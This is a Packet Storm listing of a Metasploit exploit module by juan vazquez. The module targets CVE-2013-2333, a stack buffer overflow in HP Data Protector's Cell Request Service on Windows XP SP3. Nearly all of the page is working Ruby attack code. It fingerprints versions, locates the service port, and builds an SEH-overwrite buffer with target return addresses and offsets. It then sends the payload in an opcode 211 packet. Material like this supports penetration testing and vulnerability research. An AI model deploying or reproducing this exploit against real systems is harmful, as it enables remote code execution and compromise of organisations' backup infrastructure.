Lucene search

K
packetstormJuan vazquezPACKETSTORM:123604
HistoryOct 14, 2013 - 12:00 a.m.

HP Data Protector Cell Request Service Buffer Overflow

2013-10-1400:00:00
juan vazquez
packetstormsecurity.com
18

0.953 High

EPSS

Percentile

99.4%

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::Remote::Seh  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'HP Data Protector Cell Request Service Buffer Overflow',  
'Description' => %q{  
This module exploits a stack-based buffer overflow in the Hewlett-Packard Data Protector  
product. The vulnerability, due to the insecure usage of _swprintf, exists at the Cell  
Request Service (crs.exe) when parsing packets with opcode 211. This module has been tested  
successfully on HP Data Protector 6.20 and 7.00 on Windows XP SP3.  
},  
'Author' =>  
[  
'e6af8de8b1d4b2b6d5ba2610cbf9cd38', # Vulnerability discovery  
'juan vazquez' # Metasploit module  
],  
'References' =>  
[  
[ 'CVE', '2013-2333' ],  
[ 'OSVDB', '93867' ],  
[ 'BID', '60309' ],  
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-130/' ]  
],  
'Privileged' => true,  
'Payload' =>  
{  
'Space' => 4096,  
'BadChars' => "\x00\xff\x20" # "\x00\x00", "\xff\xff" and "\x20\x00" not allowed  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Automatic', {} ],  
[ 'HP Data Protector 6.20 build 370 / Windows XP SP3',  
{  
'Ret' => 0x00436fe2, # ppr from crs.exe  
'Offset' => 15578  
}  
],  
[ 'HP Data Protector 7.00 build 72 / Windows XP SP3',  
{  
'Ret' => 0x004cf8c1, # ppr from crs.exe  
'Offset' => 15578  
}  
]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Jun 03 2013'))  
  
deregister_options('RPORT') # The CRS service runs on a random port  
end  
  
def build_pkt(fields)  
data = "\xff\xfe" # BOM Unicode  
fields.each do |k, v|  
if k == "Payload"  
data << "#{v}\x00\x00"  
else  
data << "#{Rex::Text.to_unicode(v)}\x00\x00"  
end  
data << Rex::Text.to_unicode(" ") # Separator  
end  
  
data.chomp!(Rex::Text.to_unicode(" ")) # Delete last separator  
data << "\x00\x00" # Ending  
return [data.length].pack("N") + data  
end  
  
def get_fingerprint  
ommni = connect(false, {'RPORT' => 5555})  
ommni.put(rand_text_alpha_upper(64))  
resp = ommni.get_once(-1)  
disconnect  
  
if resp.nil?  
return nil  
end  
  
return Rex::Text.to_ascii(resp).chop.chomp # Delete unicode last nl  
end  
  
def get_crs_port  
  
pkt = build_pkt({  
"Opcode" => "2",  
"FakeMachineName" => rand_text_alpha(8),  
"Unknown1" => "0",  
"FakeDomainUser" => rand_text_alpha(8),  
"FakeDomain" => rand_text_alpha(8),  
"FakeLanguage" => rand_text_alpha(8),  
"Unknown2" => "15"  
})  
ommni = connect(false, {'RPORT' => 5555})  
ommni.put(pkt)  
resp = ommni.get_once(-1)  
disconnect  
  
if resp.nil?  
return nil  
end  
  
res_length, bom_unicode, res_data = resp.unpack("Nna*")  
  
fields = res_data.split(Rex::Text.to_unicode(" "))  
  
opcode = fields[0]  
port = fields[1]  
  
if not opcode or not port  
vprint_error("Unexpected response")  
return nil  
end  
  
opcode = Rex::Text.to_ascii(opcode.chomp("\x00\x00"))  
  
if opcode != "109"  
vprint_error("Unexpected opcode #{opcode} in the response")  
return nil  
end  
  
port = Rex::Text.to_ascii(port.chomp("\x00\x00"))  
return port.to_i  
end  
  
def check  
fingerprint = get_fingerprint  
  
if fingerprint.nil?  
return Exploit::CheckCode::Unknown  
end  
  
port = get_crs_port  
  
if port.nil?  
print_status("HP Data Protector version #{fingerprint}")  
print_error("But CRS port not found")  
else  
print_status("CRS running on port #{port}/TCP, HP Data Protector version #{fingerprint}")  
end  
  
if fingerprint =~ /HP Data Protector A\.06\.20: INET, internal build 370/  
return Exploit::CheckCode::Vulnerable  
elsif fingerprint =~ /HP Data Protector A\.07\.00: INET, internal build 72/  
return Exploit::CheckCode::Vulnerable  
elsif fingerprint =~ /HP Data Protector A\.07\.00/  
return Exploit::CheckCode::Appears  
elsif fingerprint =~ /HP Data Protector A\.07\.01/  
return Exploit::CheckCode::Appears  
elsif fingerprint =~ /HP Data Protector A\.06\.20/  
return Exploit::CheckCode::Appears  
elsif fingerprint =~ /HP Data Protector A\.06\.21/  
return Exploit::CheckCode::Appears  
end  
  
return Exploit::CheckCode::Safe  
end  
  
def get_target  
fingerprint = get_fingerprint  
  
if fingerprint.nil?  
return nil  
end  
  
if fingerprint =~ /HP Data Protector A\.06\.20: INET, internal build 370/  
return targets[1]  
elsif fingerprint =~ /HP Data Protector A\.07\.00: INET, internal build 72/  
return targets[2]  
else  
return nil  
end  
end  
  
def exploit  
  
if target.name =~ /Automatic/  
print_status("Trying to find the target version...")  
my_target = get_target  
else  
my_target = target  
end  
  
if my_target.nil?  
fail_with(Failure::NoTarget, "Failed to autodetect target")  
end  
  
print_status("Trying to find the CRS service port...")  
port = get_crs_port  
if port.nil?  
fail_with(Failure::NotFound, "The CRS service has not been found.")  
else  
print_good("CRS service found on #{port}/TCP")  
connect(true, {'RPORT' => port})  
end  
  
pkt = build_pkt({  
"Opcode" => "0",  
"EndPoint" => "GUICORE",  
"ClientFingerprint" => "HP OpenView OmniBack II A.06.20",  
"FakeUsername" => rand_text_alpha(8),  
"FakeDomain" => rand_text_alpha(8),  
"Unknown1" => "488",  
"Unknown2" => rand_text_alpha(8)  
})  
print_status("Sending packet with opcode 0...")  
sock.put(pkt)  
data = sock.get_once(-1)  
  
if data.nil?  
fail_with(Failure::Unknown, "Error while communicating with the CRS Service")  
end  
  
if Rex::Text.to_ascii(data) !~ /NT-5\.1/  
fail_with(Failure::NoTarget, "Exploit only compatible with Windows XP targets")  
end  
  
pkt = build_pkt({  
"Opcode" => "225"  
})  
print_status("Sending packet with opcode 225...")  
sock.put(pkt)  
data = sock.get_once(-1)  
  
if data.nil?  
fail_with(Failure::Unknown, "Error while communicating with the CRS Service")  
end  
  
bof = payload.encoded  
bof << rand_text(my_target["Offset"] - payload.encoded.length)  
bof << generate_seh_record(my_target.ret)  
bof << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-#{my_target['Offset']+8}").encode_string  
bof << rand_text(100) # Trigger Exception  
  
pkt = build_pkt({  
"Opcode" => "211",  
"Payload" => bof  
})  
print_status("Sending malicious packet with opcode 211...")  
sock.put(pkt)  
disconnect  
end  
  
end  
`

0.953 High

EPSS

Percentile

99.4%